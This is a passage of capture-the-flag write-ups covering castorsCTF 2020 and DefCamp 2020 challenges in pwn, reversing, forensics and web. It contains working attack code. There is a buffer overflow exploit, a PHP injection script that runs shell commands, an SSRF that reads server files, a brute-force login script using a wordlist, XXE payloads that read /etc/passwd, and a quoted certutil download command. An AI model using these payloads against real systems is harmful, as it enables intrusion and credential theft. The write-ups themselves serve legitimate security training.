write a new return address. 688 | p+= p32(winners_addr) 689 | p+= b'a'*4 690 | p+= p32(0x102) # Send in the correct integer value the function expects to print the flag 691 | 692 | if args.LOCAL: 693 | io.sendlineafter('is the table at: \n', p) 694 | else: 695 | io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. 696 | 697 | io.interactive() 698 | ``` 699 | The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}` 700 | 701 | ## babyfmt 702 | Simple format string 703 | 704 | Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed. 705 | ```c 706 | nc chals20.cybercastors.com 14426 707 | 708 | Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx 709 | %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx 710 | 4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c``` 711 | 712 | decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python. 713 | 714 | ```python 715 | >>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l" 716 | >>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)]) 717 | 'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}' 718 | ``` 719 | 720 | # Rev 721 | 722 | ## Reverse-me 723 | The binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification. 724 | 725 | We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it. 726 | 727 | ```python 728 | lookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))} 729 | for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): 730 | assert not e2 in lookup 731 | lookup[e2] = e1 732 | for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): 733 | assert not e2 in lookup 734 | lookup[e2] = e1 735 | 736 | 737 | flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex') 738 | print(''.join(lookup.get(e,'_') for e in flag)) 739 | ``` 740 | 741 | `castorsCTF{r3v3r51n6_15_fun}` 742 | ## Mapping 743 | Very similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping. 744 | 745 | ```python 746 | import base64 747 | from string import maketrans 748 | 749 | a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 750 | b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML" 751 | flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0=" 752 | 753 | tab = maketrans(b,a) 754 | 755 | print(base64.b64decode(flag).translate(tab)) 756 | ``` 757 | 758 | `castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}` 759 | 760 | ## Ransom 761 | The binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream. 762 | 763 | But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time. 764 | 765 | We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time). 766 | 767 | ![](https://i.imgur.com/t3Zywth.png) 768 | 769 | 770 | ## Octopus 771 | Before the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form. 772 | 773 | ```bash 774 | root@bd2ba35b12d7:/ctf/work# ./obfus 775 | Estou procurando as palavras para falar em inglês ... 776 | Aqui vou 777 | [Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9] 778 | ``` 779 | 780 | `castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}` 781 | 782 | -------------------------------------------------------------------------------- /2020/defcamp/README.md: -------------------------------------------------------------------------------- 1 | # DefCamp CTF 2020 Online 2 | 3 | Sat, 05 Dec. 2020, 10:00 CET — Mon, 07 Dec. 2020, 10:00 CET 4 | 5 | https://ctftime.org/event/1182 6 | 7 | We placed **7th**.. 8 | 9 | [Writeups](./writeups.md) 10 | -------------------------------------------------------------------------------- /2020/defcamp/writeups.md: -------------------------------------------------------------------------------- 1 | # Defcamp 2020 writeups :triangular_flag_on_post: 2 | 3 | ## Team information 4 | **Team name:** 5 | bootplug 6 | 7 | **Country**: 8 | Norway 9 | 10 | **CTFTime profile**: 11 | https://ctftime.org/team/81341 12 | 13 | **Authors** 14 | zup, PewZ, UnblvR, maritio_o, odin 15 | 16 | We solved 25/26 challenges. Did not solve `inorder` 17 | 18 | --- 19 | 20 | ## Forensics 21 | ### basic-coms 22 | We get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it 23 | 24 | ![](https://i.imgur.com/rpdwAsd.png) 25 | 26 | This **GET** request seems to contain an interesting parameter that looks like a flag. 27 | 28 | Decoding this from URL encoding yields the flag 29 | ``` 30 | The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format 31 | ``` 32 | 33 | `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` 34 | 35 | ### t3am_vi3w3r 36 | Noticed some DNS requests in the PCAP to RealVNC websites. 37 | Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. 38 | 39 | Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. 40 | 41 | By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. 42 | 43 | flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` 44 | 45 | ### hunting-into-the-wild 46 | Q1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index: 47 | ``` 48 | process.args: *sekurlsa* 49 | ``` 50 | Shows process name: mim.exe 51 | 52 | Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following: 53 | ``` 54 | certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js 55 | ``` 56 | 57 | Q3. By going back in timeline to see source of all the malicous events, the following command was found: 58 | ``` 59 | C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat 60 | ``` 61 | CTF{APTSimulator.bat} 62 | 63 | Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found: 64 | ``` 65 | net user guest /active:yes 66 | ``` 67 | 68 | ### spy-agency 69 | 70 | Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: 71 | 72 | ``` 73 | 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip 74 | ``` 75 | 76 | We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. 77 | 78 | The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. 79 | 80 | After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. 81 | 82 | ```java 83 | package com.example.hidden_place; 84 | 85 | import android.os.Bundle; 86 | import androidx.appcompat.app.AppCompatActivity; 87 | 88 | public class MainActivity extends AppCompatActivity { 89 | /* access modifiers changed from: protected */ 90 | public void onCreate(Bundle bundle) { 91 | super.onCreate(bundle); 92 | setContentView((int) R.layout.activity_main); 93 | } 94 | } 95 | ``` 96 | 97 | However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. 98 | 99 | Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') 100 | 101 | 102 | ## Web 103 | ### alien-inclusion 104 | This is a very simple PHP server. The flag is located in `/var/www/html/flag.php` 105 | 106 | ```php 107 | 15: 307 | print("cmd too long!") 308 | return 309 | 310 | data = { "password": "foobardeadbeefdsadsa" } 311 | req = requests.post(url, data=data) 312 | 313 | tmp = req.content.decode("utf-8") 314 | idx = tmp.index("/secrets") 315 | secret = tmp[idx:].split("'")[0] 316 | print(secret) 317 | 318 | url += secret 319 | print(url) 320 | 321 | params = { 322 | "tryharder": cmd 323 | } 324 | req = requests.get(url, params=params) 325 | print(req.content) 326 | 327 | req = requests.get(url) 328 | print(req.content) 329 | 330 | 331 | if __name__ == "__main__": 332 | main("http://35.242.253.155:30574", "${`ln -s /var`}") 333 | main("http://35.242.253.155:30574", "${`mv var o`}") 334 | main("http://35.242.253.155:30574", "${`ln -s o/w*`}") 335 | main("http://35.242.253.155:30574", "${`mv www l`}") 336 | main("http://35.242.253.155:30574", "${`ln -s l/h*`}") 337 | main("http://35.242.253.155:30574", "${`mv html j`}") 338 | main("http://35.242.253.155:30574", "${`cat j/f*>2`}") 339 | main("http://35.242.253.155:30574", "${print`cat 2`}") 340 | ``` 341 | 342 | We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands. 343 | Running the solution script gives us the flag: 344 | `ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` 345 | 346 | 347 | ### pirate-crawler 348 | There is nothing on the main page. 349 | 350 | First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. 351 | 352 | In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc. 353 | We then found some interesting endpoints. 354 | 355 | * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information. 356 | * `/v2` - mentions that this is the `V2 API ROUTE` 357 | 358 | We then tried to find the CHANGELOG file: 359 | ```shell 360 | $ http GET 'http://138.68.93.187:6960/v2/CHANGELOG' 361 | HTTP/1.0 200 OK 362 | Content-Length: 204 363 | Content-Type: text/html; charset=utf-8 364 | Date: Mon, 07 Dec 2020 16:47:24 GMT 365 | Server: Werkzeug/1.0.1 Python/3.6.9 366 | 367 | #1: V1 context - V1 api routes disabled after sambacry 368 | #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse 369 | #3: V2 context - added new safe SMbHandler to prevent sambacry 370 | ``` 371 | 372 | We now know that SMB is involved and that there is an endpoint called `/v2/crawl`. 373 | We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This means 374 | that we can fetch files from the server, or visit internal web pages. 375 | 376 | Using this vulnerability we fetched the SMB config and the app.py source code: 377 | 378 | `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` 379 | 380 | `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` 381 | 382 | There is an interesting entry in SMB config 383 | ```ini 384 | [josh] 385 | path = /samba/josh 386 | browseable = yes 387 | read only = yes 388 | guest ok = yes 389 | force create mode = 0660 390 | force directory mode = 2770 391 | valid users = josh @sadmin 392 | ``` 393 | 394 | `josh` is an SMB share, and we can authenticate to this share as `josh`. 395 | We also see a new API endpoint for SMB 396 | 397 | ```python 398 | @app.route("/v2/smb", methods=["GET"]) 399 | def smb(): 400 | #this might ROCK YOUr world! 401 | if request.args.get('onlyifyouknowthesourcecode'): 402 | director = urllib.request.build_opener(SMBHandler) 403 | fh = director.open(request.args.get('onlyifyouknowthesourcecode')) 404 | buf = fh.read() 405 | fh.close() 406 | return buf 407 | ``` 408 | 409 | There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. 410 | 411 | ```python 412 | #!/usr/bin/env python3 413 | import requests 414 | import sys 415 | 416 | url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" 417 | 418 | with open(sys.argv[1]) as wlist: 419 | for pw in wlist: 420 | pw = pw.rstrip() 421 | 422 | r = requests.get(url.format(password=pw)) 423 | 424 | if "not authenticated" not in r.text: 425 | if "filedescriptor out of range" not in r.text: 426 | print(r.text) 427 | print(f"PASS: {pw}") 428 | ``` 429 | 430 | The correct password is `christian`. We can now get the flag! 431 | 432 | `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` 433 | 434 | The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` 435 | 436 | 437 | ### syntax-check 438 | This task took a while to figure out. The task description is 439 | ``` 440 | Some languages can be read by human, but not by machines, while 441 | others can be read by machines but not by humans. This markup 442 | language solves this problem by being readable to neither. 443 | 444 | The flag is in /var/www/html/flag. 445 | ``` 446 | 447 | The button on the main page does not work at all. It sets a GET parameter called 448 | `Hi!` and we get an error page saying "Empty string supplied as input." 449 | 450 | The trick was to figure out that you had to send something in the request body instead of a GET parameter. 451 | 452 | `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` 453 | 454 | A new error message: `That XML string is not well-formed` 455 | 456 | Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. 457 | 458 | ```shell 459 | $ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' 460 | 462 | 463 | ]> 464 | &exfiltrate;' 465 | ``` 466 | 467 | We get the `/etc/passwd` file back! 468 | ``` 469 | ... 470 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 471 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 472 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 473 | www:x:1000:3000::/var/www:/usr/sbin/nologin 474 | ``` 475 | 476 | However we cannot leak the flag using base64 encoding. 477 | 478 | ```shell 479 | curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' 480 | 482 | 483 | ]> 484 | &exfiltrate;' 485 | ``` 486 | 487 | The error message is `You just tried to exfiltrate using base64? Nice. Try again!` 488 | 489 | Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: 490 | 491 | ```shell 492 | $ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' 493 | 495 | 496 | ]> 497 | &exfiltrate;' 498 | ``` 499 | We then get this string 500 | 501 | `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` 502 | 503 | We can convert this to UTF-8 and get the flag! 504 | 505 | `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` 506 | 507 | ### cross-me 508 | The challenge name is a hint that this is an XSS challenge. 509 | 510 | After you have logged in you can post notes to the website. The admin will check every note you create. 511 | 512 | When trying to post `